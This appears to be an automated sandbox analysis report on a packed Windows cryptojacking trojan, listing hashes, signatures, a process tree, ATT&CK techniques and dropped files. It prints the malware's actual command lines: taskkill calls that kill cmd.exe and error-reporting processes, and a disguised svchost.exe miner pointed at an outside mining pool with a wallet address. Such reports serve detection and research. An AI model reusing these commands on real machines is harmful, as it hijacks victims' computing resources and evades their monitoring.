Analysis

  • max time kernel
    163s
  • max time network
    205s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    24-11-2022 10:01

General

  • Target

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e.exe

  • Size

    5.8MB

  • MD5

    9e28a598e94be94921938cb38162b5f5

  • SHA1

    d5255f860653112c66d6158a4cee6de51fd3cd0f

  • SHA256

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e

  • SHA512

    0cd61bcc67371965708e924190271a2ca3da7838248aa38d8730c031c3e24ff2963063d9b25fd06f5ed702867ca7e834806ed723eee0aa41db3670d228325430

  • SSDEEP

    98304:Og2iA8+gmkdHaGVG8U0L23Scg0kNZVf2wDCTVcYQC/8V/ncQ1nO6UAahTuvgfC:5vmkdHaSG8Ahg0eZVfFeTVju/ncQdAAG

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • VMProtect packed file 5 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Kills process with taskkill 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e.exe
    "C:\Users\Admin\AppData\Local\Temp\a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im CheckServer.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1536
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1168
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im WerFault.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:568
    • C:\Windows\SysWOW64\taskkill.exe
      "C:\Windows\System32\taskkill.exe" /f /im exceptionfilter.exe
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:592
    • C:\Users\Admin\AppData\Roaming\Redis\ntsmss.exe
      "C:\Users\Admin\AppData\Roaming\Redis\ntsmss.exe" C:\Users\Admin\AppData\Local\Temp\a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e.exe
      2⤵
      • Executes dropped EXE
      • Deletes itself
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im CheckServer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1456
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im cmd.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:616
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im WerFault.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1720
      • C:\Windows\SysWOW64\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im exceptionfilter.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1272
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe" -a cryptonight -o stratum+tcp://pool.cryptoescrow.eu:3333 -u 46sSETXrZGT8bupxdc2MAbLe3PMV9nJTRTE5uaFErXFz6ymyzVdH86KDb9TNoG4ny5QLELfopynWeBSMoT1M2Ga8RBkDqTH -p x -t 2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        PID:960

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\MSVCR100.dll
    Filesize

    809KB

    MD5

    366fd6f3a451351b5df2d7c4ecf4c73a

    SHA1

    50db750522b9630757f91b53df377fd4ed4e2d66

    SHA256

    ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

    SHA512

    2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

  • C:\Users\Admin\AppData\Local\Temp\libcurl.dll
    Filesize

    341KB

    MD5

    d1c5379a98047acadaf97b35dcb239e3

    SHA1

    9b60fcab990cbbb237b15e6a52e29ffabca13760

    SHA256

    90100f13e683e8ea8196a938a9f1aad8888211a395afaba6bb55359767e00f26

    SHA512

    acd489256514510ff23500d9340533d4dac3e362d8f38ebf9e46fffb051b75bfd844e325ffd39b980114f718e09b3cdf01716600e14d9263ad139e0119bec841

  • C:\Users\Admin\AppData\Local\Temp\pthreadVC2.dll
    Filesize

    81KB

    MD5

    4a502706d149c2f5854131a7758a90e2

    SHA1

    845842f909769a673138553748ad09e609ec3e17

    SHA256

    0e6af724609ef6846982ef717013426c359c455fff324e906d8d55c8bb88d16e

    SHA512

    1cdc7d92dfee299850fe8703509e3cf33470470d239b27ca9d5760d3fd01775c3512b80e4b9bdca9f782c2193be0c0a554c1bb37c1a99e435e96e14902386161

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    210KB

    MD5

    f269f2f43288c764d42ad78a6f2b09cb

    SHA1

    aefafdcb035f361e8786ce4e10e122684c674cbe

    SHA256

    3017c9c2d33d932e7180103cf86996d0df6de73c86eebd3f6425be188d8bcb93

    SHA512

    278f11d99ef8f393155151031273550de66526220f790646c343a7ce0114f37a4758d575e17ffeab74a5ccb77a8f139577ee0513478704f6422a0543b73a4b5d

  • C:\Users\Admin\AppData\Roaming\Redis\ntsmss.exe
    Filesize

    5.8MB

    MD5

    9e28a598e94be94921938cb38162b5f5

    SHA1

    d5255f860653112c66d6158a4cee6de51fd3cd0f

    SHA256

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e

    SHA512

    0cd61bcc67371965708e924190271a2ca3da7838248aa38d8730c031c3e24ff2963063d9b25fd06f5ed702867ca7e834806ed723eee0aa41db3670d228325430

  • C:\Users\Admin\AppData\Roaming\Redis\ntsmss.exe
    Filesize

    5.8MB

    MD5

    9e28a598e94be94921938cb38162b5f5

    SHA1

    d5255f860653112c66d6158a4cee6de51fd3cd0f

    SHA256

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e

    SHA512

    0cd61bcc67371965708e924190271a2ca3da7838248aa38d8730c031c3e24ff2963063d9b25fd06f5ed702867ca7e834806ed723eee0aa41db3670d228325430

  • \Users\Admin\AppData\Local\Temp\libcurl.dll
    Filesize

    341KB

    MD5

    d1c5379a98047acadaf97b35dcb239e3

    SHA1

    9b60fcab990cbbb237b15e6a52e29ffabca13760

    SHA256

    90100f13e683e8ea8196a938a9f1aad8888211a395afaba6bb55359767e00f26

    SHA512

    acd489256514510ff23500d9340533d4dac3e362d8f38ebf9e46fffb051b75bfd844e325ffd39b980114f718e09b3cdf01716600e14d9263ad139e0119bec841

  • \Users\Admin\AppData\Local\Temp\msvcr100.dll
    Filesize

    809KB

    MD5

    366fd6f3a451351b5df2d7c4ecf4c73a

    SHA1

    50db750522b9630757f91b53df377fd4ed4e2d66

    SHA256

    ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5

    SHA512

    2de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130

  • \Users\Admin\AppData\Local\Temp\pthreadVC2.dll
    Filesize

    81KB

    MD5

    4a502706d149c2f5854131a7758a90e2

    SHA1

    845842f909769a673138553748ad09e609ec3e17

    SHA256

    0e6af724609ef6846982ef717013426c359c455fff324e906d8d55c8bb88d16e

    SHA512

    1cdc7d92dfee299850fe8703509e3cf33470470d239b27ca9d5760d3fd01775c3512b80e4b9bdca9f782c2193be0c0a554c1bb37c1a99e435e96e14902386161

  • \Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    210KB

    MD5

    f269f2f43288c764d42ad78a6f2b09cb

    SHA1

    aefafdcb035f361e8786ce4e10e122684c674cbe

    SHA256

    3017c9c2d33d932e7180103cf86996d0df6de73c86eebd3f6425be188d8bcb93

    SHA512

    278f11d99ef8f393155151031273550de66526220f790646c343a7ce0114f37a4758d575e17ffeab74a5ccb77a8f139577ee0513478704f6422a0543b73a4b5d

  • \Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    210KB

    MD5

    f269f2f43288c764d42ad78a6f2b09cb

    SHA1

    aefafdcb035f361e8786ce4e10e122684c674cbe

    SHA256

    3017c9c2d33d932e7180103cf86996d0df6de73c86eebd3f6425be188d8bcb93

    SHA512

    278f11d99ef8f393155151031273550de66526220f790646c343a7ce0114f37a4758d575e17ffeab74a5ccb77a8f139577ee0513478704f6422a0543b73a4b5d

  • \Users\Admin\AppData\Roaming\Redis\ntsmss.exe
    Filesize

    5.8MB

    MD5

    9e28a598e94be94921938cb38162b5f5

    SHA1

    d5255f860653112c66d6158a4cee6de51fd3cd0f

    SHA256

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e

    SHA512

    0cd61bcc67371965708e924190271a2ca3da7838248aa38d8730c031c3e24ff2963063d9b25fd06f5ed702867ca7e834806ed723eee0aa41db3670d228325430

  • \Users\Admin\AppData\Roaming\Redis\ntsmss.exe
    Filesize

    5.8MB

    MD5

    9e28a598e94be94921938cb38162b5f5

    SHA1

    d5255f860653112c66d6158a4cee6de51fd3cd0f

    SHA256

    a503681d40c61ed77e36a2cc6dfa713744754a46907f6be4072e55f06cd4446e

    SHA512

    0cd61bcc67371965708e924190271a2ca3da7838248aa38d8730c031c3e24ff2963063d9b25fd06f5ed702867ca7e834806ed723eee0aa41db3670d228325430

  • memory/568-60-0x0000000000000000-mapping.dmp
  • memory/592-61-0x0000000000000000-mapping.dmp
  • memory/616-75-0x0000000000000000-mapping.dmp
  • memory/960-85-0x0000000180000000-0x00000001800C2000-memory.dmp
    Filesize

    776KB

  • memory/960-94-0x0000000180000000-0x00000001800C2000-memory.dmp
    Filesize

    776KB

  • memory/960-91-0x0000000180000000-0x00000001800C2000-memory.dmp
    Filesize

    776KB

  • memory/960-79-0x0000000000000000-mapping.dmp
  • memory/1168-59-0x0000000000000000-mapping.dmp
  • memory/1236-56-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1236-57-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1236-68-0x0000000005C30000-0x00000000068CF000-memory.dmp
    Filesize

    12.6MB

  • memory/1236-54-0x0000000074FD1000-0x0000000074FD3000-memory.dmp
    Filesize

    8KB

  • memory/1236-55-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1236-72-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1236-69-0x0000000005C30000-0x00000000068CF000-memory.dmp
    Filesize

    12.6MB

  • memory/1272-77-0x0000000000000000-mapping.dmp
  • memory/1456-74-0x0000000000000000-mapping.dmp
  • memory/1536-58-0x0000000000000000-mapping.dmp
  • memory/1684-84-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1684-86-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1684-64-0x0000000000000000-mapping.dmp
  • memory/1684-73-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1684-71-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1684-93-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1684-70-0x0000000000400000-0x000000000109F000-memory.dmp
    Filesize

    12.6MB

  • memory/1720-76-0x0000000000000000-mapping.dmp